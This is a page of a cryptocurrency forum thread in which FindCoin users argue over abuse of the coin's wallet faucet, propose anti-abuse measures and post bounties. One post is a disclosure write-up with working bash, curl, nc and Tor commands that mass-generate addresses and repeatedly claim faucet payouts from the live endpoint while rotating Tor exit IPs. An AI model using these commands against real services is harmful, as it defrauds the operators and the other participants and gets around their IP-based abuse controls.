Pages:
Author

Topic: [ANN][FIND] FindCoin | Update Wallet If You Haven't! | Community Anti-Scam Token - page 54. (Read 126380 times)

full member
Activity: 192
Merit: 100
You are what you eat. PIZZA!
Hello,

We have turned off the faucet for the moment, as it seems we are getting two thousand requests more than we should (we have ~1.3k wallets downloaded). A vote will be posted tomorrow to decide if we want to continue faucet-based distribution or switch to another system. Until then, no faucet payments will be sent out.

It is a great decision! Fair to us who do not cheat in this distribution, I just got 2k coins, but cheaters can get 100k or more, they have lots of VPS/VPN.

I have to disagree with the VPS thing.

If this were any other coin received through mining, VPS would obviously give more hashing power yielding more coins.

I have 3 VPS with wallets each and as you can see in my older btctalk posts; I usually provided tons of hashing power to newly created coins. Including helping Monero's first launch earlier this year.

I do have to agree however that this coin verifies nothing of the VPS specs meaning I could potentially just get free VPS to rape it but it isnt worth my time but is an obvious issue to all of us as it defeats the purpose of a fair launch (in comparison with those who have VPS mining rigs).

Totally agree. The idea of "faucet distribution" is fair. I have 5 VPSes and I have to pay for it. It's a kind of investment. If I have 5VPS and I receive the amount equal to someone who has only 1 PC, it will be unfair. This is "In-wallet-faucet-distribution", not "person-distribution". Moreover, I downloaded the wallet file only 1 time on the first VPS and transfer to the other 4 VPSes. I think if other people do the same thing as me, the downloaded wallet will be much less then the number of opening wallet. It's easy to understand.


Yeah right so if I bank robber pays for his gun and get away car, he deserves the cash  Roll Eyes 

Trying to justify cheating, its a giveaway coin, meant to be one wallet per person, anyone doing otherwise cheated end of story.




+1

You could not be more right, all these guys please don’t change it, we deserve more coins because we brought vps/payed for our guns etc lol 

The same people who keep asking for exchanges so they can dump and destroy the coin
full member
Activity: 192
Merit: 100
You are what you eat. PIZZA!
I vote fenghush gets a bounty for his effort, it's more than people are getting for sloppy translations,  5-10k minimum
sr. member
Activity: 658
Merit: 250
Hello,

We have turned off the faucet for the moment, as it seems we are getting two thousand requests more than we should (we have ~1.3k wallets downloaded). A vote will be posted tomorrow to decide if we want to continue faucet-based distribution or switch to another system. Until then, no faucet payments will be sent out.

It is a great decision! Fair to us who do not cheat in this distribution, I just got 2k coins, but cheaters can get 100k or more, they have lots of VPS/VPN.

I have to disagree with the VPS thing.

If this were any other coin received through mining, VPS would obviously give more hashing power yielding more coins.

I have 3 VPS with wallets each and as you can see in my older btctalk posts; I usually provided tons of hashing power to newly created coins. Including helping Monero's first launch earlier this year.

I do have to agree however that this coin verifies nothing of the VPS specs meaning I could potentially just get free VPS to rape it but it isnt worth my time but is an obvious issue to all of us as it defeats the purpose of a fair launch (in comparison with those who have VPS mining rigs).

Totally agree. The idea of "faucet distribution" is fair. I have 5 VPSes and I have to pay for it. It's a kind of investment. If I have 5VPS and I receive the amount equal to someone who has only 1 PC, it will be unfair. This is "In-wallet-faucet-distribution", not "person-distribution". Moreover, I downloaded the wallet file only 1 time on the first VPS and transfer to the other 4 VPSes. I think if other people do the same thing as me, the downloaded wallet will be much less then the number of opening wallet. It's easy to understand.


Yeah right so if I bank robber pays for his gun and get away car, he deserves the cash  Roll Eyes  

Trying to justify cheating, its a giveaway coin, meant to be one wallet per person, anyone doing otherwise cheated end of story.



People will cheat if cheating is possible. Designs work not because people are honest, but because they're secure and even then it doesn't stop people from trying to attack it. Like the bitcoin network for example, it is trustless, no single entity is trusted and that's the reason it is secure. If a bank robber enters the bank unarmed, loots the vault and walks away free without anyone stopping him, the bank dropped the ball. Crying about cheating because your system is broken is childish to say the least and it doesn't fix anything.
newbie
Activity: 49
Merit: 0
hi
happy new year to all.
my wallet hasnt paid out again, totally synced, not received for 5 hours. has/will the coin now be abandoned?.
at the moment everything is up in the air , just need clarification either way.
legendary
Activity: 1876
Merit: 1000
Hello,

We have turned off the faucet for the moment, as it seems we are getting two thousand requests more than we should (we have ~1.3k wallets downloaded). A vote will be posted tomorrow to decide if we want to continue faucet-based distribution or switch to another system. Until then, no faucet payments will be sent out.

It is a great decision! Fair to us who do not cheat in this distribution, I just got 2k coins, but cheaters can get 100k or more, they have lots of VPS/VPN.

I have to disagree with the VPS thing.

If this were any other coin received through mining, VPS would obviously give more hashing power yielding more coins.

I have 3 VPS with wallets each and as you can see in my older btctalk posts; I usually provided tons of hashing power to newly created coins. Including helping Monero's first launch earlier this year.

I do have to agree however that this coin verifies nothing of the VPS specs meaning I could potentially just get free VPS to rape it but it isnt worth my time but is an obvious issue to all of us as it defeats the purpose of a fair launch (in comparison with those who have VPS mining rigs).

Totally agree. The idea of "faucet distribution" is fair. I have 5 VPSes and I have to pay for it. It's a kind of investment. If I have 5VPS and I receive the amount equal to someone who has only 1 PC, it will be unfair. This is "In-wallet-faucet-distribution", not "person-distribution". Moreover, I downloaded the wallet file only 1 time on the first VPS and transfer to the other 4 VPSes. I think if other people do the same thing as me, the downloaded wallet will be much less then the number of opening wallet. It's easy to understand.


Yeah right so if I bank robber pays for his gun and get away car, he deserves the cash  Roll Eyes 

Trying to justify cheating, its a giveaway coin, meant to be one wallet per person, anyone doing otherwise cheated end of story.


RJX
legendary
Activity: 1078
Merit: 1003
Fenghush, I like your style.
sr. member
Activity: 658
Merit: 250
I PM'ed most of the devs about a sensitive info leak in the debug.log file on the 27th Dec


This allows anyone with a bunch of addresses in their wallet to make a ton of request to http://104.236.75.141:1532/findcoin/get/$address and everyone would be none the wiser thinking those requests came from actual wallets, rather than lets say curl over tor which I will demonstrate bellow.

Due to sloppy programming, no SSL, no special 'secret' parameters exchanged between the wallet and the faucet service and no IP filtering it is trivial to simulate the request the actual wallet makes with a bit of bash, curl and tor.

First start tor with the --controlport 9051 flag so we can request a new exit node by sending the 'newnym' signal

Code:
/path/to/tor --controlport 9051 &
Next we need a bunch of addresses. Since there is no command line version of the FindCoin wallet this is a bit inconvenient but still trivial to do with one command.
First edit ~/.FindCoin/FindCoin.conf to become a JSON-RPC service and restart the wallet
Code:
rpcuser=user
rpcpassword=p
rpcallowip=127.0.0.1
rpcport=13333
listen=1
server=1
Then simply send the getnewaddress jsonrpc command to the wallet's rpc port over and over again until you're fed up with it
Code:
 while true;do curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getnewaddress","params":[]}' -H 'content-type:text/plain;' -s http://user:[email protected]:13333/ | awk -F'"' '{print $4}' >> addresses;done
This will write indefinite amount of addresses until ctrl+c'ed to a file named addresses.

Now we simply loop over each address and make requests to the faucet url requesting a new exit tor node after each request
Code:
while read address;do (echo authenticate '""'; echo signal newnym; echo quit) | nc 127.0.0.1 9051;curl --socks5 127.0.0.1:9050 http://104.236.75.141:1532/findcoin/get/$address;sleep 10;done < addresses
And presto you make as many requests to the faucet url as you have addresses over tor, with a new IP between each request. No VMs, no proxies, no extra wallets.
legendary
Activity: 1778
Merit: 1043
#Free market
Come on guys , if you want your bounty make one of those things in the list (and ask your FIND):

     

        
          2.26M of all coins are reserved for FindCoin bounties.

          All these coins will be deposited to redsn0w escrow - https://bitcointalksearch.org/topic/closed-768454
          Current official bounties are:
          500K for scam reports - we will pay 5k bounty for every well-investigated report on altcoins scam you know of. You can write about devs that ripped you off,
                  or services that ran away with clients' money, blaming hackers and hardware malfunction - we'll accept all kind of altcoins scam reports as long as they
                  are compliant with our FindCoin Scam Report Guide (we'll provide it on 29/12/14).
          1000K - reserved for backing up community bounties. If any member of FindCoin community decides to put up FindCoin bounty, we will use this reserve to double up his or her bounty.
          100K - for first FindCoin multipool.
          50K - for first block explorer with richlist.
          8K - for translation to 8 languages, 1k per language: Chinese, German, French, Italian, Spanish, Russian; another 2 languages - doesn't matter
                        what particularly - will be rewarded until all 8k is spent.
          2K - for FindCoin logo (won by Sarahiko, https://bitcointalksearch.org/topic/m.9825338)
          600K reserve for future bounties; we are developing community, we're sure we'll think something up.
sr. member
Activity: 658
Merit: 250
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.

If you hammer a ton of them with the right exploit, VMs and dedies do really fall from the sky. Or you can pay $10 to rent someone's botnet for a while, or steal it, or you can build your own, or you can get a ton of free month coupons for google cloud, depends on your skill level. The internet is the wild west if you're new to it, just because you can't figure out ways to abuse a system, doesn't mean a ton of other people wont.

What you mentioned is illegal activity. How about paying for VPS like me? This is "in-wallet-distribution", not "in-person-distribution", right? More over, these activities you mention are not easy as you said.

The "in-wallet-distribution" system is broken, the system is prone to abuse and people with mediocre skill can easily abuse it, the legality of some action hasn't stopped people from not doing it.
I raised the flag that the distribution system is broken since day one. I informed the devs about a quite frankly, stupid info leak and I expected them to patch it, but instead they decided to roll with it and now everyone's butt is hurt because someone hammered the faucet system with a botnet.
There is no ultimate fix, but there are tons of ways to make it difficult for attackers to take advantage of the design flaw.

1. to all: HAPPY NEW YEAR..... (I say it with pain in my heart cuz in the new year we was scamed from few cheaters.....)
2. just stop to fight one other Please ....
3. Every one who got and know any kinda exploit send the explanation to us (Please)
4. We will decide what to do..., mby we can relaunch the faucet distr. But with new wallet version if we can protect it better.... with new fixes...

The time will show us... I suppose we always will get cheaters.., but this like hrs ago was really bad one ....
You know the our IRC chat channel, join us and write there too your example you got/know about cheating/exploit | Join to IRC http://webchat.freenode.net/?channels=#FindCoin

I'll do you one better and post a write-up right here and let the people decide who dropped the ball.
sr. member
Activity: 434
Merit: 260
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.

If you hammer a ton of them with the right exploit, VMs and dedies do really fall from the sky. Or you can pay $10 to rent someone's botnet for a while, or steal it, or you can build your own, or you can get a ton of free month coupons for google cloud, depends on your skill level. The internet is the wild west if you're new to it, just because you can't figure out ways to abuse a system, doesn't mean a ton of other people wont.

What you mentioned is illegal activity. How about paying for VPS like me? This is "in-wallet-distribution", not "in-person-distribution", right? More over, these activities you mention are not easy as you said.

The "in-wallet-distribution" system is broken, the system is prone to abuse and people with mediocre skill can easily abuse it, the legality of some action hasn't stopped people from not doing it.
I raised the flag that the distribution system is broken since day one. I informed the devs about a quite frankly, stupid info leak and I expected them to patch it, but instead they decided to roll with it and now everyone's butt is hurt because someone hammered the faucet system with a botnet.
There is no ultimate fix, but there are tons of ways to make it difficult for attackers to take advantage of the design flaw.

1. to all: HAPPY NEW YEAR..... (I say it with pain in my heart cuz in the new year we was scamed from few cheaters.....)
2. just stop to fight one other Please ....
3. Every one who got and know any kinda exploit send the explanation to us (Please)
4. We will decide what to do..., mby we can relaunch the faucet distr. But with new wallet version if we can protect it better.... with new fixes...

The time will show us... I suppose we always will get cheaters.., but this like hrs ago was really bad one ....
You know the our IRC chat channel, join us and write there too your example you got/know about cheating/exploit | Join to IRC http://webchat.freenode.net/?channels=#FindCoin
sr. member
Activity: 658
Merit: 250
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.

If you hammer a ton of them with the right exploit, VMs and dedies do really fall from the sky. Or you can pay $10 to rent someone's botnet for a while, or steal it, or you can build your own, or you can get a ton of free month coupons for google cloud, depends on your skill level. The internet is the wild west if you're new to it, just because you can't figure out ways to abuse a system, doesn't mean a ton of other people wont.

What you mentioned is illegal activity. How about paying for VPS like me? This is "in-wallet-distribution", not "in-person-distribution", right? More over, these activities you mention are not easy as you said.

The "in-wallet-distribution" system is broken, the system is prone to abuse and people with mediocre skill can easily abuse it, the legality of some action hasn't stopped people from not doing it.
I raised the flag that the distribution system is broken since day one. I informed the devs about a quite frankly, stupid info leak and I expected them to patch it, but instead they decided to roll with it and now everyone's butt is hurt because someone hammered the faucet system with a botnet.
There is no ultimate fix, but there are tons of ways to make it difficult for attackers to take advantage of the design flaw.
member
Activity: 63
Merit: 10
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.

If you hammer a ton of them with the right exploit, VMs and dedies do really fall from the sky. Or you can pay $10 to rent someone's botnet for a while, or steal it, or you can build your own, or you can get a ton of free month coupons for google cloud, depends on your skill level. The internet is the wild west if you're new to it, just because you can't figure out ways to abuse a system, doesn't mean a ton of other people wont.

What you mentioned is illegal activity. How about paying for VPS like me? This is "in-wallet-distribution", not "in-person-distribution", right? More over, these activities you mention are not easy as you said.
newbie
Activity: 56
Merit: 0
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.

If you hammer a ton of them with the right exploit, VMs and dedies do really fall from the sky. Or you can pay $10 to rent someone's botnet for a while, or steal it, or you can build your own, or you can get a ton of free month coupons for google cloud, depends on your skill level. The internet is the wild west if you're new to it, just because you can't figure out ways to abuse a system, doesn't mean a ton of other people wont.

+1

Now since I am not exploiting this faucet, can someone let me know if the distribution is still on.
This wallet takes up 50% of my CPU power and around 100mb RAM.
Why does it need that much CPU?

I am mining other coins at the same time and they do not require that much processing power.
sr. member
Activity: 658
Merit: 250
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.

If you hammer a ton of them with the right exploit, VMs and dedies do really fall from the sky. Or you can pay $10 to rent someone's botnet for a while, or steal it, or you can build your own, or you can get a ton of free month coupons for google cloud, depends on your skill level. The internet is the wild west if you're new to it, just because you can't figure out ways to abuse a system, doesn't mean a ton of other people wont.
member
Activity: 63
Merit: 10
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
Do you thing that VM falls from the sky? If you did, ASIC miner would also be.
hero member
Activity: 882
Merit: 595
1'000 FIND sent to (as bounty for his translation)  :

here another indonesian translate by me https://bitcointalksearch.org/topic/annfind-findcoin-community-anti-penipuan-token-distribusi-melalui-faucet-908363

FindCoin Addy : FW7YoxaCXPfDyEZidYcMU29ABgwjuzYEyz

This is the transaction id : 3eb884d454bdb98f8b08d80aff45d51aa08ccff622870fcbefacbeb33b4abdc0-000



thanks received the payment for the bounty Cheesy
full member
Activity: 178
Merit: 100
Quote
-blah blah bullshit

Totally agree. The idea of "faucet distribution" is fair. I have 5 VPSes and I have to pay for it. It's a kind of investment. If I have 5VPS and I receive the amount equal to someone who has only 1 PC, it will be unfair. This is "In-wallet-faucet-distribution", not "person-distribution". Moreover, I downloaded the wallet file only 1 time on the first VPS and transfer to the other 4 VPSes. I think if other people do the same thing as me, the downloaded wallet will be much less then the number of opening wallet. It's easy to understand.

+100 for using your head. Everyone should realize this.

+1. He has a point. I'm sad a little bit because the faucet has stopped. We Asians think that if you receive money or the lucky things in the new year's day, all day will be lucky. Smiley
sr. member
Activity: 658
Merit: 250
You could require users to register their wallet before they start to receive the faucet. Then drip a larger % to those who register. Or start dripping new wallets slower and run checks for ip changes. then just drip a small amount like .1 FIND to wallets with ip's bouncing all over the world. You can run tons of IP checks and run a scoring algo on the wallet before giving out the coins. There are many circumstances where IP's will change, and while a wallet could be hit if someone travels or whatever, a scoring algo could reinstate them later on. The key is maintaining the proof of faucet concept by consistently delivering coins, but not to the wrong people. No matter what you do, the ratio of downloaded/opened wallets will never match.

Or just use something like maxmind for risk based order fraud detection, they take parameters like location, residential/enterprise ISP, open service ports like http, proxy etc etc. People on tor will be doomed though, as well as everyone running wallets on VMs.
legendary
Activity: 1778
Merit: 1043
#Free market
1'000 FIND sent to (as bounty for his translation)  :

here another indonesian translate by me https://bitcointalksearch.org/topic/annfind-findcoin-community-anti-penipuan-token-distribusi-melalui-faucet-908363

FindCoin Addy : FW7YoxaCXPfDyEZidYcMU29ABgwjuzYEyz

This is the transaction id : 3eb884d454bdb98f8b08d80aff45d51aa08ccff622870fcbefacbeb33b4abdc0-000

legendary
Activity: 1612
Merit: 1001
Now i do understand, Paying for VPS is like investing for FIND, basically you are paying to get coins, but the big question here is the FREE VPS.
i think you can't run find wallet on free linux vps,it requires gui.
Pages:
Jump to: